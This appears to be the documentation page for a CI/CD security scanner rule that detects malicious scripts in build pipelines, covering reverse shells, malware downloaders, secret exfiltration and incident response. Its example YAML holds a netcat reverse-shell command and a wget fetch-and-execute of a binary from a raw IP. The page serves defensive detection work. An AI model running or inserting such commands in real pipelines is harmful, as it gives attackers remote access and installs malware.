Malicious script in a CI/CD pipeline.

ID

cicd_malicious_script

Severity

critical

Family

CI/CD Security

Tags

cicd-sec-04, cicd-security, reachable, security, supply-chain

Description

Malicious behavior was detected in a script within a CI/CD pipeline.

Examples of typical malicious behavior:

  • running reverse shells

  • downloading malicious binaries from known malware repositories

  • making network calls to known malware servers

  • exfiltrating sensitive data, like the full environment, to an untrusted source.

Security

Malicious behavior could be injected during a pipeline poisoning attack. If the threat actor manages to create a new pipeline or modify an existing one with malicious script code, the CI/CD system can run the script if the triggering condition for the pipeline is met.

Reverse shells are a common technique to bypass firewalls and NAT devices, and gives the attacker remote execution in the system running the CI/CD pipelines. The connection could be automated to gain persistence, to move laterally to other systems connected with the CI/CD server (including source code repositories), to install malware, or to exfiltrate credentials available in the pipeline.

Droppers / Downloaders allow bad actors to deploy malware into the CI/CD system. A remote site controlled by the attacker could be used for malware distribution. That includes also public sites like github.com or pastebin.com.

Data Leakers allow bad actors to extract sensitive information when the CI/CD pipeline is compromised. Typically, secrets are targeted, often in the form of environment variables that are taken from a secrets manager. The thread actor can launch secondary attacks with the credentials extracted. Sensitive data like source code repositories, cloud credentials or database passwords can be leaked.

The detector may report non-malicious code as malicious, because it lacks context about which is the correct, expected behavior. For example, sending the full environment of the CI/CD process to a remote server is not common but may have a legitimate purpose. But as threat actors use this technique for exfiltrating credentials for follow-up attacks, the detector reports it.

Examples

# Imagine that you find this in your build pipeline...
steps:
  - name: reverse shell
    run: nc -c bash 1.2.3.4 80

  - name: download malicious binary
    run: |
     wget -O /tmp/malicious.bin http://110.178.34.193:36565/bin.sh
     /tmp/malicious.bin > /dev/null 2>&1

Mitigation / Fix

  1. Containment and Isolation:

    • Immediately stop the pipeline and disable it from further execution. If on your premises, disconnect the affected runner from the CI/CD server.

  2. Eradication:

    • Remove the malicious script code from the CI/CD pipeline.

    • Uninstall malware if persisted on the CI/CD server, runner or reachable systems.

  3. Assess the Damage:

    • Look in the CI/CD job execution logs if there are traces of the malicious script code. Do the same in systems that could be accessed from the CI/CD runner affected, including source repositories and artifact registries.

    • Assess the impact, identifying the nature and scope of data and credentials leaked, the type of malware potentially installed, and potential systems affected after lateral movement.

  4. Notify Stakeholders:

    • Inform relevant stakeholders about the incident: management, IT teams, and possibly customer and partners.

    • Report the incident to law enforcement and relevant regulatory authorities.

  5. Post-mortem Analysis:

    • Try to identify how the adversaries managed to write malicious script code in the CI/CD pipeline. As the pipeline is often under version control, look for the commit(s) that included the malicious behaviour, and how such commit(s) entered the repository: Commit author / committer, pull request author / reviewer(s), etc.

    • Determine what cybersecurity practices did not worked and the reason. Improve CI/CD security by correcting misconfigurations and add additional controls to mitigate the risk.